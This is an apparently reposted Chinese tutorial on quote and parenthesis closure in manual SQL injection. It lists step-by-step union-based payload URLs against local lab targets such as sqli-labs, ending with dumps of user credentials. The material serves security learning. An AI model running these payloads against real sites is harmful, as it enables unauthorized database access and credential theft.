數據庫手工注入中的閉合


數據庫手工注入中的閉合

1、什么是閉合?

閉合:這個語句可以完整正確的執行
后台服務器PHP代碼:

$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";

$id兩側必須要閉合,代碼才可以正確執行
數據庫代碼:

select * from users where id = $id limit 0,1;
select * from users where id = '$id' limit 0,1;
select * from users where id = ('$id') limit 0,1;

2、為什么閉合這么重要

sql注入,我們要注入到自己的sql語句,
如果注入后,破壞了原有的閉合,那么注入也會失敗,所以閉合很重要,決定了最后是否可以注入成功。
舉例:

$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";

$id = 1' 0r 1=1 --+ --+ 注釋'后面的數據
$sql
= "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";

解釋

在選擇注入點的時候,我們通常會選擇類似與這樣的URL:http://127.0.0.1/index.html?id=1。。。
對於這樣的語句我們不難發現?后面的id是需要查詢數據庫的。
那么 我們判斷這里有可能是一個SQL的注入點,然后我們就需要針對這條URL來進行注入點的判斷了。 在進行注入點的判斷的第一步,我們需要對?后面的id
=1來進行分析。。。
首先,我們需要知道 在后端代碼程序當中,id=1--->id="$id" 。。。
這里的1是一個變量,由我們的$id來決定的,當我們注入的時候,也就是改變$id的值,,
這個值最終是需要流回到后端的代碼當中,這里就需我們來探測$id的閉合了。。。
如果$id是一個常量,我們要知道,在編程代碼的是時候,常量$id是不需要加'' 或者是()的,這樣我們就會很開心,這里不需要閉合,
直接輸入一個參數就可以了。。。 但是如果這個$id被()或者(
'')包含,當我們改變$id的值的時候,就會發現有報錯的現象,這是因為我們的$id值沒有形成閉合,代碼無法正常執行。
所以就需要我們在后面加')或者是其他的值來使這條語句閉合。。

后面的--+ 的意思則是:在sql當中 -- 是一種注釋的功能,我們將寫入-- 是用來把$id后面的’或者)給注釋掉的,防止影響前面的閉合。。。

http://127.0.0.1/ry.php?ry_id=1
http://127.0.0.1/ry.php?ry_id=1'
http://127.0.0.1/ry.php?ry_id=1' -- -
http://127.0.0.1/ry.php?ry_id=1 -- -
http://127.0.0.1/ry.php?ry_id=1 and 1=1-- -
http://127.0.0.1/ry.php?ry_id=1 and 1=2-- -
http://127.0.0.1/ry.php?ry_id=1 order by 1-- -
http://127.0.0.1/ry.php?ry_id=1 order by 1,2-- -
http://127.0.0.1/ry.php?ry_id=1 order by 1,2,3-- -
http://127.0.0.1/ry.php?ry_id=1 order by 1,2,3,4-- -
http://127.0.0.1/ry.php?ry_id=1 order by 1,2,3,4,5-- -
http://127.0.0.1/ry.php?ry_id=1 union select 1,2,3,4-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,3,4-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),database()-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),group_concat(column_name) from information_schema.columns where table_schema=database()-- -

http://127.0.0.1/Less-1/?id=-2 union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'-- -
http://127.0.0.1/Less-1/?id=-2 union select 1,version(),group_concat(id,0x23,username,0x23,password) from users-- -
http://127.0.0.1/Less-1/?id=-2 union select 1,version(),group_concat(id,' ',username,0x23,password) from users-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),group_concat(l_id,l_title,l_lynr,l_time,l_ip,l_ckroot,l_name,l_mail) from book -- -

常見的閉合方式

'$id'
"$id"
('$id' )
("$id")
(('id'))


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM